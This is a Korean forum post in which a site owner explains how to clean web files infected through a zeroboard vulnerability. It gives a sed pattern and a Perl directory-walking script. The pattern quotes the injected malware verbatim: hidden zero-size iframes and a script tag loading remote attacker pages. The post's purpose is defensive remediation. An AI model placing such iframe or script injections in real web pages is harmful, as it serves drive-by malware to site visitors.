테스트 사이트 - 개발 중인 베타 버전입니다

ro521 해결책

· 14년 전 · 3069 · 1

저는 이번에 그누보드것은 괜찮았는데 zeroboard것이 피해를 입었습니다.
며칠 script짜느라고 고생좀 했죠.
zeroboard의 취약성을 타고 심어진것인데 다음과 같은 코드가 hml, 이미지 할것없이 화일 끝에 첨가되었습니다.
다행히 데이타베이스는 깨끗합니다.
다음 script로 화일을 원상복귀했습니다.

작업을 위해 linux shell과 perl, sed가 필요합니다.

첨가된 악성코드는 s/ 다음부터 //g 사이 입니다. /는 \로 escape 했습니다.
sed를 이용하여 악성코드를 없앴니다. (sed -i -f pattern filename)

pattern

s/<?ob_start();?><iframe src="http:\/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><iframe src="http:\
/\/www.ro521.com\/test.htm" width=0 height=0><\/iframe><?ob_start();?><script src="http:\/\/j5b.kr\/bin\/h.js"><\/script>//g

모든 디렉토리를 탐색하여 감염된 화일을 찾습니다. grep으로 찾습니다. image화일은 match라고 만나옵니다.

Replacetext.pl

sub traverse {
   my ($dir, $callback) = @_;
   my $present;

   opendir $present, $dir or return();

   for (grep { ! /^(\.|\.\.)$/ } readdir $present) {
      my $path = "$dir/$_";

      &$callback($path);
      traverse($path, $callback) if -d $path;

   }

   closedir $present;
   return();
}
sub search_pattern {
   my $file = shift;
   $output = `grep $pattern $file`;
   if (($output =~ /$pattern/) or ($output =~ /matches/)){
# use input and output same file
# use -i option
        $status = `sed -i -f /home3/twooneu8/Perl/pattern $file`;      -->위의 pattern 화일을 절대경로로 지정합니다.
#        print "Report: $status\n";
#       print "Report: found\n";
   }
   else {
#       print "[$file] :$pattern not found - $output\n";
   }
   return;
}
traverse("/home3/twooneu8/FSC", \&search_pattern);          -->지울 디렉터리를 첫번째 param에 지정합니다.

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기

댓글 1개

pattern은 pattern이라는 파일에 s/~//g를 삽입해서 실행하는 건가요? 이메일로 답해주시면 감사하겠습니다^^ jhlee83 at imtl.skku.ac.kr입니다(@를 at으로 표기하였습니다.

게시글 목록

번호 제목
1717635
1717629
1717626
1717625
1717621
1717619
1717611
1717610
1717609
1717607
1717601
1717598
1717591
1717590
1717583
1717575
1717572
1717568
1717566
1717549
1717545
1717533
1717512
1717511
1717508
1717495
1717479
1717473
1717470
1717463